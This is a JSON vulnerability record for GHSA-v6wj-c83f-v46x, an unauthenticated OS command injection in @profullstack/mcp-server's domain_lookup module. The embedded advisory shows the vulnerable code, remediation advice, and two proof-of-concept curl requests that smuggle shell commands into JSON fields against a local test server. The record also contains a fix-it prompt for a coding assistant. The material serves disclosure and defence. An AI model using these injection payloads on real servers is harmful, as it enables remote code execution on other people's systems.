{"answers":{"affected":"2 open source packages ship an affected version, including @profullstack/mcp-server.","exploited":"There is no known exploitation of GHSA-v6wj-c83f-v46x in the wild and no public exploit code.","fix":"No fix has been published for GHSA-v6wj-c83f-v46x yet. Limit exposure of the affected software until one is available.","what":"GHSA-v6wj-c83f-v46x is a command injection vulnerability in @profullstack/mcp-server, published on 9 May 2026. An attacker can exploit it over the internet without logging in, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-v6wj-c83f-v46x and fix it if it is affected.\n\nWhat it is: GHSA-v6wj-c83f-v46x is a command injection vulnerability in @profullstack/mcp-server, published on 9 May 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-v6wj-c83f-v46x in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- @profullstack/mcp-server (npm): affected all versions up to 1.4.12; no fix listed\n- @profullstack/mcp-server (npm): affected all versions up to 1.4.12; no fix listed\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-v6wj-c83f-v46x/ (Markdown: https://insights.sbomify.com/GHSA-v6wj-c83f-v46x/index.md)","id":"GHSA-v6wj-c83f-v46x","markdown":"https://insights.sbomify.com/GHSA-v6wj-c83f-v46x/index.md","name":"GHSA-v6wj-c83f-v46x","record":{"aliases":[],"analysis":{"component_type":"library","fix_type":"patch","impacts":["code_execution"],"network_reachable":"yes","non_default_config":false,"product_category":"MCP server library","requires_auth":"none","summary":"Unauthenticated remote attackers can execute arbitrary OS commands via the domain_lookup module due to unsanitized input in shell commands.","user_interaction":"not_required","vuln_class":"command_injection"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"\u003chtml\u003e\n\u003cbody\u003e\n\u003c!--StartFragment--\u003e\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1\u003eSecurity Advisory: OS Command Injection in \u003ccode\u003eprofullstack/mcp-server\u003c/code\u003e \u003ccode\u003edomain_lookup\u003c/code\u003e Module\u003c/h1\u003e\n\nField | Value\n-- | --\nProject | profullstack/mcp-server\nRepository | https://github.com/profullstack/mcp-server\nAffected Commit | 2e8ea913573610667ad54e31dba2e8198ebf7cf9\nAffected Module | mcp_modules/domain_lookup\nAffected Endpoints | POST /domain-lookup/check, POST /domain-lookup/bulk\nVulnerability Type | CWE-78: OS Command Injection\nCVSS 3.1 Score | 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\nAuthentication Required | None\nDefault Network Exposure | Bind address 0.0.0.0, no global authentication middleware\nValidated | 2026-04-21 (initial), 2026-04-28 (re-confirmed)\n\n\u003chr\u003e\n\u003ch2\u003eSummary\u003c/h2\u003e\n\u003cp\u003eThe \u003ccode\u003edomain_lookup\u003c/code\u003e module assembles a shell command string by concatenating user-controlled input (\u003ccode\u003edomains\u003c/code\u003e / \u003ccode\u003ekeywords\u003c/code\u003e) and passes it to \u003ccode\u003eexecAsync()\u003c/code\u003e. Both HTTP endpoints reach the same sink. Because there is no argument quoting, escaping, or allowlist — and no authentication on the server — an unauthenticated remote attacker can execute arbitrary OS commands as the server process.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2\u003eAffected Code\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eindex.js:27\u003c/code\u003e — server binds to \u003ccode\u003e0.0.0.0\u003c/code\u003e, no global auth middleware.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003emcp_modules/domain_lookup/index.js:52\u003c/code\u003e — registers \u003ccode\u003ePOST /domain-lookup/check\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003emcp_modules/domain_lookup/index.js:55\u003c/code\u003e — registers \u003ccode\u003ePOST /domain-lookup/bulk\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003emcp_modules/domain_lookup/src/service.js:19, :20\u003c/code\u003e — \u003ccode\u003ebuildTldxCommand()\u003c/code\u003e concatenates user input into the shell string.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003emcp_modules/domain_lookup/src/service.js:114, :115, :142\u003c/code\u003e — \u003ccode\u003eexecAsync(command)\u003c/code\u003e sink reached from both routes.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2\u003eVulnerable Code\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eFile:\u003c/strong\u003e \u003ccode\u003emcp_modules/domain_lookup/src/service.js\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eStep 1 — User input concatenated directly into a shell string:\u003c/strong\u003e\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-js\"\u003ebuildTldxCommand(keywords, options = {}) {\n  let command = `tldx ${keywords.join(' ')}`;\n\n  if (options.prefixes?.length) {\n    command += ` --prefixes ${options.prefixes.join(',')}`;\n  }\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003cstrong\u003eStep 2 — That shell string is executed as-is:\u003c/strong\u003e\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-js\"\u003easync checkDomainAvailability(domains, options = {}) {\n  try {\n    const command = this.buildTldxCommand(domains, options);\n    const { stdout, stderr } = await execAsync(command);\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThere is no sanitization between Step 1 and Step 2. Shell metacharacters (\u003ccode\u003e;\u003c/code\u003e, \u003ccode\u003e|\u003c/code\u003e, \u003ccode\u003e$()\u003c/code\u003e, etc.) in user input are interpreted by \u003ccode\u003e/bin/sh\u003c/code\u003e at execution time.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2\u003eProof of Concept\u003c/h2\u003e\n\u003cp\u003eTested against a local Docker build of the affected commit (\u003ccode\u003e0.0.0.0:13000-\u0026gt;3000/tcp\u003c/code\u003e).\u003c/p\u003e\n\u003ch3\u003ePoC A — \u003ccode\u003ePOST /domain-lookup/check\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003e\u003cstrong\u003eRequest:\u003c/strong\u003e\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-bash\"\u003ecurl -X POST http://localhost:13000/domain-lookup/check \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"domains\":[\"example.com; echo final_check_poc \u0026gt; /tmp/verify-exports/final_check.txt; #\"]}'\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003cstrong\u003eResponse:\u003c/strong\u003e\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eHTTP/1.1 500 Internal Server Error\naccess-control-allow-origin: *\ncontent-type: application/json\nDate: Tue, 21 Apr 2026 04:32:39 GMT\n\n{\"error\":\"tldx command failed: tldx command failed: /bin/sh: tldx: not found\\n\"}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003cstrong\u003eSide effect confirmed inside container:\u003c/strong\u003e\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e$ cat /tmp/verify-exports/final_check.txt\nfinal_check_poc\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch3\u003ePoC B — \u003ccode\u003ePOST /domain-lookup/bulk\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003e\u003cstrong\u003eRequest:\u003c/strong\u003e\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-bash\"\u003ecurl -X POST http://localhost:13000/domain-lookup/bulk \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"keywords\":[\"safe\",\"x; echo final_bulk_poc \u0026gt; /tmp/verify-exports/final_bulk.txt; #\"]}'\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003cstrong\u003eResponse:\u003c/strong\u003e\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eHTTP/1.1 500 Internal Server Error\naccess-control-allow-origin: *\ncontent-type: application/json\nDate: Tue, 21 Apr 2026 04:32:40 GMT\n\n{\"error\":\"Bulk domain check failed: Bulk domain check failed: /bin/sh: tldx: not found\\n\"}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003cstrong\u003eSide effect confirmed inside container:\u003c/strong\u003e\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e$ cat /tmp/verify-exports/final_bulk.txt\nfinal_bulk_poc\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch3\u003eNote on HTTP 500\u003c/h3\u003e\n\u003cp\u003eBoth requests return HTTP 500 because \u003ccode\u003etldx\u003c/code\u003e is not installed in the test container. The injected commands are interpreted by the shell \u003cstrong\u003ebefore\u003c/strong\u003e \u003ccode\u003etldx\u003c/code\u003e is invoked. The marker files confirm that attacker-controlled commands executed successfully despite the 500 response. In a production environment where \u003ccode\u003etldx\u003c/code\u003e is installed, both the intended function and the injected commands execute.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2\u003eImpact\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUnauthenticated remote code execution as the server process UID.\u003c/li\u003e\n\u003cli\u003eFull read/write access to any file the server process can access.\u003c/li\u003e\n\u003cli\u003ePotential for outbound connections, credential theft, persistence, and lateral movement.\u003c/li\u003e\n\u003cli\u003eReproducible with a single unauthenticated HTTP POST to either of two documented endpoints.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2\u003eSuggested Remediation\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eReplace \u003ccode\u003eexecAsync(command)\u003c/code\u003e with \u003ccode\u003echild_process.execFile\u003c/code\u003e or \u003ccode\u003espawn('tldx', [keyword1, keyword2, ...])\u003c/code\u003e — pass arguments as an array, never as a concatenated shell string.\u003c/li\u003e\n\u003cli\u003eValidate all domain/keyword input against a strict allowlist (RFC 1035 hostname syntax) before invoking the external binary; reject any input containing shell metacharacters.\u003c/li\u003e\n\u003cli\u003eAdd a global authentication middleware so all HTTP-exposed modules are not callable anonymously.\u003c/li\u003e\n\u003cli\u003eDefault the server bind address to \u003ccode\u003e127.0.0.1\u003c/code\u003e and require explicit opt-in for non-loopback bindings.\u003c/li\u003e\n\u003c/ol\u003e\n\u003chr\u003e\n\u003ch2\u003eVerification Environment\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eLocal Docker container only; no third-party deployment was tested.\u003c/li\u003e\n\u003cli\u003eThe container does not include the \u003ccode\u003etldx\u003c/code\u003e binary; this is intentional for safe local PoC and does not affect exploitability.\u003c/li\u003e\n\u003c/ul\u003e\u003c/body\u003e\u003c/html\u003e\u003c!--EndFragment--\u003e\n\u003c/body\u003e\n\u003c/html\u003e","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"@profullstack/mcp-server vulnerable to OS Command Injection in domain_lookup Module","id":"GHSA-v6wj-c83f-v46x","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"npm","product":null,"products":[],"type":"command_injection","year":"2026"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":["0"],"last_affected":["1.4.12"],"package":"@profullstack/mcp-server","purl":null,"source":"GHSA-v6wj-c83f-v46x"},{"ecosystem":"npm","fixed":[],"introduced":["0"],"last_affected":["1.4.12"],"package":"@profullstack/mcp-server","purl":"pkg:npm/%40profullstack/mcp-server","source":"GHSA-v6wj-c83f-v46x"}],"products":null,"published":"2026-05-09","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Unauthenticated remote attackers can execute arbitrary OS commands via the domain_lookup module due to unsanitized input in shell commands.","url":"https://insights.sbomify.com/GHSA-v6wj-c83f-v46x/"}